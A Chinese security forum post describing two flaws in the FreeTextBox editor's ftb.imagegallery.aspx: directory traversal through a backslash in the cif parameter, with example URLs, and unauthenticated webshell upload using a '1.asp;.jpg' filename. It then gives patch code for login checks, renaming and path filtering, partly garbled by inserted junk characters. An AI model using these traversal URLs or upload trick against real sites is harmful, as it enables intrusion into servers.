找回密码
 立即注册
查看: 2625|回复: 0
打印 上一主题 下一主题

Treetextbox编辑器遍历目录+上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-18 18:22:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  漏洞文件:ftb.imagegallery.aspx
9 a: [/ g% B& |, k+ [% z. a) L3 B" {  g; ~
漏洞一:目录遍历7 [* }% Y, S) k8 h
ftb.imagegallery.aspx?frame=1&rif=images&cif=../, {0 X) ^3 K8 I2 R, |; R( f) O
不可以,过滤了/
3 T9 L4 Q' H1 y1 Z* ?ftb.imagegallery.aspx?frame=1&rif=images&cif=..\
2 y; M4 t- j# r& [$ ~可以!!过滤\符号 嘿嘿,能干什么自己知道了呗。
( G+ }! E3 j9 f) S- `; S" aftb.imagegallery.aspx?frame=1&rif=images&cif=..\..& j3 p* d: ?3 R- X& q% f& Q' m+ S' e
漏洞二:上传漏洞) P! f: E  N6 I1 e
没做登陆验证可以直接访问上传木马 FTBv3-3-1 可以直接上传任意格式的文件 Freetextbox 1.6.3 及其他版本可以上传 格式为 1.asp;.jpg 文件 上传后木马地址为http://网站地址/images/1.asp;.jpg
8 e# Q, Y: z# l; G/ f  N- ?' d 0 u7 b# j+ Y; ~* L5 k2 [# c

& T) Y% o2 H) o' ^$ t$ |漏洞修补方案:
2 r+ v) U9 \5 P
5 a" N' x' _5 W! \7 u; c  ?0 o添加代码加登陆验证
% o/ Y" \' P' B( ?. y4 Bprivate void Page_Load(object sender, System.EventArgs e) {    string isframe = “” + Request["frame"];   Freetextbox上传图片是直接保留原文件名的,这个地方做个修改,上传文件使用时间串做文件名。
1 O3 o6 V. g1 U0 d; k" x" \7 Z( ]- `" @, U( e; a
修改方式如下:* R0 `3 \" v# I9 W
( G# I+ t' W1 `) a6 U1 ^
找到 程序代码 % P) v0 D. W) \! I" v6 A
UploadFileNameUploadFileName = UploadFileName.Substring(UploadFileName.LastIndexOf(“\\”)+1);    在其下面添加以下代码
$ i9 L5 B" N; Y2 p+ ?7 n2 ?/ _//********************* UploadFileName = DateTime.Now.ToString() + UploadFileName.Remove(0, UploadFileName.LastIndexOf(“.”)); UploadFileName = UploadFileName.Replace(“:”, “”).Replace(“-”, “”).Replace(” “, “”); //by Yation.Team 2009/7/17 上传文件用时间重命名
6 \% X* Q4 y( |6 l4 o5 x6 a以前已经有人公布过fb暴路径的方法 http*****.cn/helps/ftb.imagegallery.aspx?frame=1”在地址后面加上&rif=..&cif=..在访问 整个网站的目录就呈现在眼前了,下面还有上传删除等按钮… 修正方式如下: 找到 程序代码 if (cif != “” && rif != “”) {
' }, i" O7 }) X' Y9 j7 M9 \6 N把RootImagesFolder.Value = rif;1 e6 B0 k" _7 B* I) Y* I2 T4 u

: y1 d$ p7 Y3 P  k3 S# N6 u' C0 N$ K- @替换成
" d+ w/ k5 j- x- z/ z1 G程序代码 //***************************** RootImagesFolder.Value = DefaultImageFolder; Array srtArray = cif.Split(‘\\’); string str = srtArray.GetValue(0).ToString(); if (str != DefaultImageFolder) { cif = DefaultImageFolder; } cif = cif.Replace(“..\\”, “”).Replace(“../”,”");( g, Q! d9 @9 l9 I9 [* r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表